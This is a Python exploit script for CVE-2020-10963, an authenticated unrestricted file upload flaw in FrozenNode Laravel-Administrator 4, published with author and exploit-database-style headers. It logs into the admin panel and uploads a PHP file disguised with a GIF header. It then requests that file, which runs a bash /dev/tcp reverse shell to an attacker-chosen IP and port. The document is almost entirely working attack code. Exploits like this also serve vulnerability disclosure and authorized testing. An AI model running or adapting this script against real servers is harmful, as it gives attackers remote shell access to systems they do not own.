# Exploit title: Laravel Administrator 4 - Unrestricted File Upload (Authenticated)# Author: Victor Campos and Xavi Beltran# Contact: vcmartin@protonmail.com# Exploit Development: https://xavibel.com/2020/03/23/unrestricted-file-upload-in-frozennode-laravel-administrator/# Date: 25/3/2020# Software link: https://github.com/FrozenNode/Laravel-Administrator/# Version : 4# Tested on: Laravel-Administrator 4# CVE : CVE-2020-10963#!/usr/bin/env pythonimport requests,json,traceback
from requests.auth import HTTPBasicAuth
#Parameters to be set up (ENTER YOUR VALUES)#===========================================# Listener IP and port
ip =""
port =""#Admin credentials
user =""
password =""#URLs of the web application
domain =""# For example "https://www.example.com"
login_url =""# For example "/user/login"
fileupload_url =""# For example "/admin/categories/image/file_upload"
uploaded_files_url =""# For example "/categories/images"#Reverse shell payload (DO NOT MODIFY THIS SECTION)#==================================================#GIF file header
shell ="GIF89a\r\n"#php reverse shell
shell +="\x3c?php\r\nexec(\"/bin/bash -c \'bash -i \x3e /dev/tcp/"+ ip +"/"+ port +" 0\x3e&1\'\");?\x3e\r\n"with requests.Session()as s:try:print("\n[+] Logging into the panel")
s.post(domain + login_url, data={'email':user,'password':password,'remember':'1'})print("[+] Uploading the malicious file")
r = s.post(domain + fileupload_url, files={'name':'Picture.png','file':('test.php',shell)})print("[+] Response text:")#print(r.text)
shell_file =(json.loads(r.text))["filename"]print("[+] Name of uploaded file: "+ shell_file)print("\n[+] Executing the reverse shell on "+ ip +":"+ port +"...")
r = s.get(domain + uploaded_files_url +'/'+ shell_file)except Exception as e:print(str(traceback.format_exc()))